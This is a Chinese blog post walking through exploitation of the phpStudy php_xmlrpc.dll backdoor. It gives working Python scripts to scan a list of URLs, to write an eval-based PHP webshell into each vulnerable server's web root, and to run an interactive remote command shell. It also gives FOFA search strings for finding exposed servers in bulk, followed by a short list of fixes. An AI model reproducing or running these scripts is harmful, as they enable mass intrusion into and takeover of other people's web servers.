1. 程式人生 > 實用技巧 >phpStudy後門漏洞利用復現

phpStudy後門漏洞利用復現

一、漏洞描述

Phpstudy軟體是國內的一款免費的PHP除錯環境的程式整合包,通過整合Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer

多款軟體一次性安裝,無需配置即可直接安裝使用,具有PHP環境除錯和PHP開發功能,在國內有著近百萬PHP語言學習者、開發者使用者。

正是這樣一款公益性軟體,2018年12月4日,西湖區公安分局網警大隊接報案稱,某公司發現公司內有20餘臺計算機被執行危險命令,疑似遠端控制抓取賬號密碼等計算機資料 回傳大量敏感資訊。

二、後門漏洞影響版本

phpStudy2016

php\php-5.2.17\ext\php_xmlrpc.dll

php\php-5.4.45\ext\php_xmlrpc.dll

phpStudy2018

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll

PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

三、漏洞危害

風險等級:高

風險危害:

1.獲取伺服器許可權

2.寫入webshell

四、後門漏洞復現流程

Accept-Encoding: gzip,deflate
Accept-Charset: payload(base64編碼)

注意:

Accept-Encoding: gzip,deflate
gzip,空格deflate

gzip逗號後面這個空格需要刪除,否則無回顯

payload也就是我們的php程式碼,構造要經過base64編碼過後再放入

復現過程:

抓取URL請求包,首頁即可

然後傳送到 Repeater模組測試

這裡可以看見前面所說的gzip逗號後面的空格沒有刪掉

再者Accept-Charset需要自己構造

我們構造一個 system('whoami'); base64編碼過後的然後傳送過去測試

這裡可以看見,執行了whoami

接下來編寫我們的 批量POC、EXP、互動shell

五、 Python編寫批量POC、EXP、互動shell

批量POC:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author  : 白紙書生
# @FileName: phpstudy_poc.py

import requests

def POC(url):
	headers = {
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
		'Accept-Encoding': 'gzip,deflate',
		'Accept-Charset': 'c3lzdGVtKCdlY2hvICJsb2NhbDwqKioqPmhvc3QiJyk7'
	}
	try:
		response = requests.get(url=url,headers=headers,timeout=3)
		print(url)
		if response.status_code == 200:
			if "\"local<****>host\"" in response.text:
				print('存在phpstudy後門漏洞------------',url)
				return
			else:
				return
	except:
		return


if __name__ == '__main__':

	for url in open(r'urls.txt'):
		POC(url)

  

EXP:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author  : 白紙書生
# @FileName: phpstudy_exp.py

import requests

def EXP(url):
	headers = {
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
		'Accept-Encoding': 'gzip,deflate',
		'Accept-Charset': 'ZnB1dHMoZm9wZW4oJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4nKTs='
	}
	try:
		response = requests.get(url=url,headers=headers,timeout=3)
		if response.status_code == 200:
			print('Success------------',url+"shell.php")
	except:
		return


if __name__ == '__main__':

	for url in open(r'urls.txt'):
		EXP(url)

  

exp這裡的payload是寫入webshell

payload:fputs(fopen($_SERVER['DOCUMENT_ROOT'].'/shell.php','w'),'<?php @eval($_POST[cmd])?>');

通過$_SERVER['DOCUMENT_ROOT'] 獲取網站根目錄再寫入。

互動shell:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author  : 白紙書生
# @FileName: phpstudy_shell.py

import requests
import re
import base64

def SHELL(url):
	try:
		while 1:
			shell = input(">>>")
			shell = "echo \"abds\";system(\""+shell+"\");echo \"abds\";"
			headers = {
				'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
				'Accept-Encoding': 'gzip,deflate',
				'Accept-Charset': base64.b64encode(shell.encode()).decode()
			}
			response = requests.get(url=url,headers=headers,timeout=3)
			text = re.findall(r"abds(.+?)abds",response.text,re.S)
			print(text[0])
			if shell == "0":
				return
	except:
		print("異常")


if __name__ == '__main__':
	url = 'http://localhost/'
	SHELL(url)

 

回顯通過php的echo "abds"; 包裹著 也就是命令被兩個字串包裹著,然後我們通過python正則把它從abds中間提取出來即可

測試結果:

六、通過網路空間引擎批量搜尋

這裡採用fofa

構造通過返回的server

server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17"
server="Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45"

 


感覺準確率不夠高的話,可以再加個php探針做限制

七、後門漏洞修復方式

1.更新phpstudy

2.手動刪除該dll檔案

3.採用火絨等防毒軟體查殺